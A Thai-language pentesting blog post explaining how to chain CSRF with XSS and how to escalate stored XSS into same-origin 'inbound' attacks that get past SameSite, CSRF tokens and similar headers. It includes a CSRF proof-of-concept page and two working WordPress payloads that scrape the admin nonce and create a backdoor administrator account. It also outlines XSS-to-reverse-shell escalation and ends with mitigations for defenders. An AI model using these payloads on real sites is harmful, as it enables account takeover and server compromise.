สวัสดีครับท่านผู้เจริญ!!!! วันนี้ ผมคิม JapanAntiVirus จาก Wowza จะมานำเสนอทริคเล็กๆน้อยๆเกี่ยวกับช่องโหว่ที่หลายคนอาจจะรู้จักเป็นอย่างดีเมื่อเข้าสู่การ Web Pentester เนื่องจากปรากฏอยู่ใน OWASP Top 10 อย่างยาวนานและยังเป็นช่องโหว่ที่ใช้หากินใน Bug Bounty อีกด้วยเรียกว่าเป็นช่องโหว่ยอดฮิตเลยทีเดียว เพียงแต่ว่า…. ในหลักสูตรต่างๆมักจะสอนหลักการทำงานในรูปแบบ
Outbound Attack
ซึ่งถูกป้องกันได้ง่ายเสียเหลือเกิ้นนนน จนเราคิดว่าเป็นช่องโหว่ที่ไม่มีอะไรเลยบ่อยครั้งเราจะเห็นการป้องกันในลักษระใช้ CSP, SameSite หรือ Header ต่างๆที่ไม่ยอมให้ Attacker ดึงข้อมูลออกไปยังเว็บของตนได้ หรือ นำ JS Script จากเว็บตนเองเข้ามาทำงานบนเว็บเป้าหมายได้ ก็ว้าวอยู่นะการป้องกันที่แน่นหนา แถมยังทำการ esc() ย้ำเข้าไปจนเหล่า แหกเก้อ ต้องร่ำไห้…..
แต่ก็ไม่ใช่ทุกระบบจะใช้ esc() ไปเสียทั้งหมดมันมีหลายปัจจัยที่ไม่อาจทำได้ ไม่ว่าจะเป็นทักษะการ Dev หรือระบบที่ออกแบบมาว่าต้องใช้เป็น Script ก็ตาม เช่น CMS, Opensource, Framework สิ่งเหล่านี้เราคงไม่เข้าไปแก้ไขโค้ดดื้อๆ เดวพัง ฮ่าๆ ท่ายอดฮิตเลยตกไปที่ Header Prevention.
"ถ้าหากระบบมีข้อจำกัดในการ Escape จะใช้เรื่อง Header มาช่วยลดความเสี่ยง แต่นั้นแหละครับในมุมกลับทำให้เกิดเทคนิคการโจมตีรูปแบบหนึ่งที่จะทะลุทุกสรรพสิ่งของการป้องกัน Header ส่วนใหญ่ไปได้"
หากผู้โจมตีระบุได้ว่าเป้าหมายใช้ระบบที่ "มีข้อจำกัด" ก็จะมุ่งเน้นหาจุด Chain นำไปสู่ Impact ที่น่ากลัว และถูกตีข้อมูลเป็น High, Critical บ่อยครั้ง นั้นคือ
Inbound Attack
ใช่ครับก่อนหน้านี้เราจะคุ้นเคยกับ Outbound กันมากมาย แถมหลายแหล่งการสอนยังสอนเพียง Outbound และ Concept หรือถ้า Advanced หน่อยก็จะผสมผสานกับ CSRF กลายเป็นท่า Inbound แบบ Medium ผมจึงขอแยกการโจมตี Inbound เป็น Medium และ Advanced นะครับ
Inbound Medium:
เงื่อนไขคือ Request นั้นจะต้องก่อให้เกิด CSRF ได้ และ Parameter นั้นจะต้องเป็นช่องโหว่ XSS ครับ ทีนี้เราจะมาอธิบายกันว่าการผสมผสานของช่องโหว่นี้คืออะไรกันแน่
Cross Site Request Forgery(CSRF) : เอาล่ะผมจะไม่ยืดยาวเกี่ยวกับช่องโหว่นี้ หลักๆเลยสั้นๆ มันคือช่องโหว่ที่ให้เหยื่อทำการ Action การกระทำบางอย่างโดยที่เหยื่อไม่รู้ตัว เช่น เปลี่ยนรหัสผ่าน โอนเงิน เปลีย่นรูป หรือ โพสต์อะไรโดยที่ตนไม่ได้ตั้งใจ และไม่ทราบจากการเข้าถึงลิ้งของผู้โจมตี หรือ เว็บไซต์ผู้โจมตี แต่ๆๆๆๆ มันมีคุณสมบัติหนึ่ง
"คือการบังคับให้เหยื่อ กรอกค่าที่ผู้โจมตีต้องการลงไปใน Parameter และทำการ Action"
ใช่ครับ ความสามารถของ CSRF มีข้อนี้อยู่ ทำให้สามารถ Chain กับ XSS ได้อย่างสะบายๆ มันก็นับเป็นท่า Advanced นะครับ
(อ้างอิงจาก HackTheBox Academy ระดับ Tier iii จะมีอยู่ใน PATH CWEE ที่ใช้การ Chain 2 ช่องโหว่นี้ แต่ผมยังไม่ได้เรียนฮ่าๆ คาดว่าจะเร็วๆนี้ครับเผื่อจะได้เทคนิคเพิ่ม)
โอเครสมมุติว่าเราเจอช่องโหว่ CSRF ที่นึง คือการ POST Requst ไป Drowdown ปฏิทิน ลักษณะจะเป็นแบบนี้
POST /day_of_life
{ "time": 19:44:44, "day": "monday" }
แล้ว Response ออกมาได้ปกติ เพียงแต่ว่ามันดันกลับมาเป็น HTML หรือ สามารถ Render ออกหน้าเว็บได้ แล้วเราลอง ทำการ XSS เข้าไป
POST /day_of_life
{ "time": 19:44:44, "day": "\"><img src=/Host_Attacker onerror=alert(1412)>" }
ถ้าหากว่าเกิด Alert นั้นแปลว่าเราสามารถโจมตี XSS ในจุดที่เกิด CSRF ได้เช่นกัน และถ้าไม่เกิด Alert() ใช่ว่าจะไม่มี XSS คุณจะต้องไปดู Logs ที่ Host Attacker เพราะอาจจะเกิด Blind XSS ได้ครับ

หลังจากนั้นเราก็แค่ทำ POC CSRF
<! — csrf_poc.html →
<html>
<body>
<script>
fetch('https://victim.com/day_of_life', {
method: 'POST',
credentials: 'include'
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
time: "19:44:44",
day: "\"><img src=/ onerror=alert('CSRF_POC')>"
})
});
</script>
</body>
</html>
แล้วก็ส่งเว็บไปให้เหล่าๆสมาคมคนชอบบบบบบ ต่างๆ ก็โดนกันระนาว

- ผู้โจมตีจะส่งเว็บของตนให้โดยตรง เมื่อผู้ใช้ที่มีสิทธิ์ Admin ในที่นี้คือ Admin Dashboard
- จะทำการ Trigger เนื่องจาก CSRF PoC จะมีการสั่งให้ Action โดยการใส่ XSS Payloads เข้าไป ดังนั้นผู้ที่ทำการ Action จะไม่ใช่ ผู้โจมต แต่เป็น Admin เสียเอง แต่สิ่งนี้เกิดได้เพราะมีช่องโหว่ CSRF
- เกิด Action จากเดิม Self-XSS จะกลายเป็น XSS Reflected ทันทีในแง่การ Delivery ที่ไม่ใช่ Store เพราะเราเลือก Dropdown function ซึ่งไม่ได้ไปฝังอะไรไว้แบบ การ Reply
- (optional) ถ้าเราทำการ Steal Cookie เราก็จะสามารถทำได้ มันจะส่งกลับมายังเว็บผู้โจมตี
แต่!!!!! ที่กล่าวมาจะแตกทันทีถ้าเค้าตั้ง Header ดีๆ ถ้าเจอ
SameSite=Strict
SameSite=Lax
หรือ Config CORS และดันเพิ่ม CSRF Token เข้ามาอีก อื้อหื้อออ เพราะในรูปผมจะทำ Zone แดงไว้ นั้นคือจุดตัดจะเห็นว่ามีการมาแตะภายนอกด้วย เพราะงั้นมันก็ยังมีความเป็น Outbound จาก CSRF แม้ XSS จะ Inbound ก็ตาม Objective ของเราคือการ Steal Cookie, Openredirect แต่ถ้า Header กันดีมันทำไรไม่ได้เลย….พอเลิก…..
แต่มันมีเทคนิคหนึ่งที่ท่านสมาชิก WowZa ชอบใช้ในการเพิ่ม Impact ให้กับ XSS เพื่อเพิ่มเงิน Bounty บ่อยๆ คือต่อไปนี้
Inbound Attack: Advanced (สำหรับ Kim JapanAntiVirus)
เราจะมาพูดเทคนิคที่ถ้าเข้าเงื่อนไขทั้งหมด การป้องกันของ Header จะถูกทำลาย และไม่สามารถป้องกันได้ เว้นเสียแต่มันจะถูกป้องกันไม่ให้เกิด XSS สถานเดียว แม้ว่าจะตั้ง Header เน้นๆก็ตาม ในแง่ของ Impact Outbound นะครับพวกการจะเอาข้อมูลออกไปยังเว็บผู้โจมตี เพราะถ้ากันดีๆมันทำไม่ได้เลย เอาละเรามาดูกันว่าเงื่อนไขคืออะไร
นั้นคือการใช้ fetch() หรือรูปแบบใดๆ ในการยิงตรงไป Action ครับ จากเดิมการจะเกิด Action ผู้โจมตีจะต้องไปเว็บภายนอกถูกไหมครับ แต่คราวนี้เราให้ JavaScript ทำการ Request ไปเลย แต่ถ้าได้ประสิทธิภาพคือควรเป็น Store XSS ทีนี้จะมีคนถาม เอ้า อันก่อนหน้า XSS Store มันก็แรงไม่ใช่หรอ….ใช่ครับ แต่ในมุม Impact ที่ผู้โจมตีมองเห็นว่า เอ้ยมัน Steal Cookie ไม่ได้ ก็จะเลิกราไปแล้วบอกมันเบา อย่างที่กล่าวไป
XSS Store แล้วต้องการผลลัพธ์ Outbound ยังไงก็โดนป้องกันครับ เราจึงจะดูแบบ Inbound
มันจะเป็นแบบนี้ครับ
(async () => {
// Step 1: ดึง Nonce จาก DOM
const res = await fetch('/wp-admin/user-new.php'); const html = await res.text(); const nonce = html.match(/name="_wpnonce_create-user"\s+value="([^"]+)"/)[1];
// Step 2: สร้าง Admin ใหม่ (Cookie ถูกแนบอัตโนมัติ เพราะ Same-Origin)
const form = new FormData(); form.append('user_login', 'backdoor'); form.append('email', 'attacker@evil.com'); form.append('pass1', 'P@ssw0rd!'); form.append('pass2', 'P@ssw0rd!'); form.append('role', 'administrator'); form.append('_wpnonce_create-user', nonce); await fetch('/wp-admin/user-new.php', { method: 'POST', body: form }); })();
หรือ
javascript:fetch('/wp-admin/user-new.php').then(r=>r.text()).then(h=>{const n=h.match(/name="_wpnonce_create-user" value="([^\"]+)"/)[1];const f=new URLSearchParams();f.append('action','createuser');f.append('_wpnonce_create-user',n);f.append('user_login','backdoor_admin');f.append('email','backdoor@evil.com');f.append('pass1','P@ssw0rd123!');f.append('pass2','P@ssw0rd123!');f.append('role','administrator');fetch('/wp-admin/user-new.php',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:f.toString()})});
แน่นอนว่ายาวเป็นกิโลขนาดนี้ก็คงต้องใช้ eval() เข้ามาเกี่ยวข้อง ผมจะขอยกตัวอย่างจาก WordPress มานะครับ เพราะว่ามันค่อนข้างแน่น และบ่อยครั้งที่เจอ XSS แล้วถูกปล่อยผ่านหรือถูกตีตกเพราะว่ามัน Outbound ไม่ได้ แต่ถ้าเป็นท่านี้มุมมอง Dev จะชักงักได้
จากโค้ดข้างบนจะเห็นว่า Nonce เนี่ยมันอยู่ใน DOM HTML ของเว็บเลย ดังนั้นถ้าแหกเก้อ โจมตีไปที่เว็บเป้าหมาย แล้ว Admin ติดกับมันจะเกิดแบบนี้ครับ
Attacker => eval(fetch( Script ด้านบน )) => Administrator เข้ามา (ติดกับ) => Administrator Request ไปเพิ่ม => User สิทธิ์ Administrator
ถ้าเป็นเทคนิคก่อนหน้าจะเป็น
Attacker => eval(fetch( Script ด้านบน )) => Administrator เข้ามา (ติดกับ) => Administrator Redirect ไปยังเว็บผู้โจมตี => Request สร้าง User สิทธิ์ Administrator (แต่แตกกกก เพราะมี Nonce และ Header ที่ออกแบบมาดีย์)
มันจะคล้ายกับของ Medium เลยครับต่างกันที่จะรวบรวมข้อมูลแล้ว Action ด้วยตัวของ Admin แทน

- ทำการฝัง XSS ไปเป็น Store ที่หน้า Log
- เมื่อแอดมินเข้าดู จะถูก Execute ทันทีเนื่องจากไม่ได้สั่งให้ Alert อย่างมากก็เห็นรูปเล็กๆ
- ทำการสร้าง User ใหม่หลังบ้านเรียบร้อย
จะเห็นว่า "Objective การโจมตี ไม่ได้ไปแตะออกข้างนอกแม้แต่นิดเดียว" นั้นชัดเจนว่าสิ่งที่ออกแบบมาเพื่อป้องกันการโจมตีออกไปภายนอกแบบ Outbound นั้นจะไม่ป้องกันอะไรเลยในแง่มุมนี้ครับ
นี่คือตัวอย่างของ Inbound Attack คำถามคือทำไมมัน Bypass ได้แม้กระทั้งพวก
SameSite=Strict
SameSite=Lax
CSRF Token (Header)
Origin/Referer Check
HttpOnly
ก็เพราะทุกสิ่ง "เกิดขึ้นจากการกระทำของ Administrator เองและเว็บเดียวกันเอง ไม่ได้ไปไหน" มันแยกไม่ออกครับว่าแอดมินทำเองหรือไม่ เพราะค่า Nonce ที่ไว้ป้องกัน CSRF ก็ดั้น ถูกต้อง
นั้นแหละครับคือ Inbound Attack สำหรับ Core หลักมันเหมือนกับ ตัวกลางที่ถูก Compromise เราจะยิง Request ให้ไปทำอะไรก็ได้ ถ้าจุดดังกล่าวมีช่องโหว่ XSS Inbound ทำให้นำไปสู่การโจมตีแบบต่างๆที่ไม่อาจป้องกันได้ เพราะมันเป็น Feature เช่น
หลังบ้านมี Dashboard อนุญาติให้ใช้ Command line, Console, CMD …..เท่านี้ทุกคนน่าจะคิดออก…..ใช่ครับ
XSS to RCE มันจะเป็นแบบนี้
Attacker XSS Inject => XSS (cmd="ReverseShell Command") => Administrator (โดนน!!!) => Administrator POST Request {"console" :"ReverseShell Command"}
มันยังลามไปแบบอื่นๆไม่ว่าจะเป็น Sql Injection ก็ได้ ไป Droptables;…. หรืออื่นๆเช่นการ DoS เป็นต้น ดังนั้น
ทำ Pentest แบบ Gray-Box กันนะครับเผื่อจะโดน Inbound Attack แล้วงานเกิด
ทีนี้เรามาดูเรื่องความเสี่ยงกันดีกว่า…..ทุกท่านอาจจะมองว่าเห้ยยยมันจะตีได้เอ็งก็ต้องรู้หลังบ้านดิ……ใช่ครับ เราต้องรู้การทำงานหลังบ้าน ถ้าจะตีขึ้นตัว Administrator อ่านะ แต่ว่าอย่างที่กล่าวไปข้างต้นเลยว่า
"ถ้าหากระบบมีข้อจำกัดในการ Escape จะใช้เรื่อง Header มาช่วยลดความเสี่ยง"
ระบบที่เสี่ยงที่สุดคือ Opensource หรือ CMS, Framework ที่ใครก็สามารถเอามาทำ Research และหา CVE ได้นั้นเองครับ เพราะฉะนั้นก็ใช้กันอย่างระมัดระวัง
ทีนี้เราจะป้องกันยังไงกันละ
Prevention And Mitigation:
WAF (Web Application Firewall) :
ใช่ครับใช้ WAF Firewall มาช่วยระดับหนึ่ง Browser → WAF → CMS/Framework โดยเราจะต้อง Filter Payloads ให้ได้มากที่สู้ดดดด ซึ่งมันแค่ลดความเสี่ยงฮ่าๆ แต่มุมมองผมก็โดนอยู่ดี ต้องใช้การป้องกันอื่นๆด้วยนะครับ
ตัวเลือกอื่นๆ : Cloud → Cloudflare WAF, AWS WAF Self-host → ModSecurity + OWASP CRS Rules Nginx + naxsi
CSP Header ที่ Server Level:
# Nginx — ใส่ที่ Config ไม่ต้องแตะโค้ด
add_header Content-Security-Policy "
script-src 'self' 'nonce-{random}'
connect-src 'self'
default-src 'self'
";
อันนี้ดีมว๊ากกก
เพื่อจะอ่าน Nonce → ต้องมี JS รันก่อน แต่ JS จะรันได้ → ต้องมี Nonce ก่อน เจอวิธีไก่กับไข่อะไรเกิดก่อนเข้าไปมีเหว๋อ ฮ่าๆ
Re-authentication On Critical Action or 2FA for Critical Action:
ถ้าทำการ Action อะไรที่อันตรายหรือเสี่ยงมากๆ ต้องอนุมติจาก Administrator บน Device อื่นครับ อันนี้ช่วยได้ดีเลย
สรุป:
XSS Inbound Attack เป็นเทคนิคที่อันตราย แม้ว่าจะโจมตีได้ยากแต่ก็ High Risk, High Return เช่นกัน ผมหวังว่าบทความนี้จะช่วยให้หลายๆคนที่เคยทำ Bug Bounty หรือ VDP กลับไปรื้อช่องโหว่ที่เจอและลอง Escalate ความรุนแรงเพื่อเพิ่ม Impact ได้นะครับ การป้องกันที่ดีที่สุดคือ "อย่าให้เกิด XSS" ครับ
และ Core หลักของมันคือ….มองว่า XSS ที่เราตีเนี่ยมันสามารถ Escalate ขึ้นไปได้มากแค่ไหนครับ
ขอบคุณที่เข้ามาอ่านครัฟผม จริงๆมีอีกเพียบเลยแต่ขอเอาแค่นี้ก่องค๊าบบบบ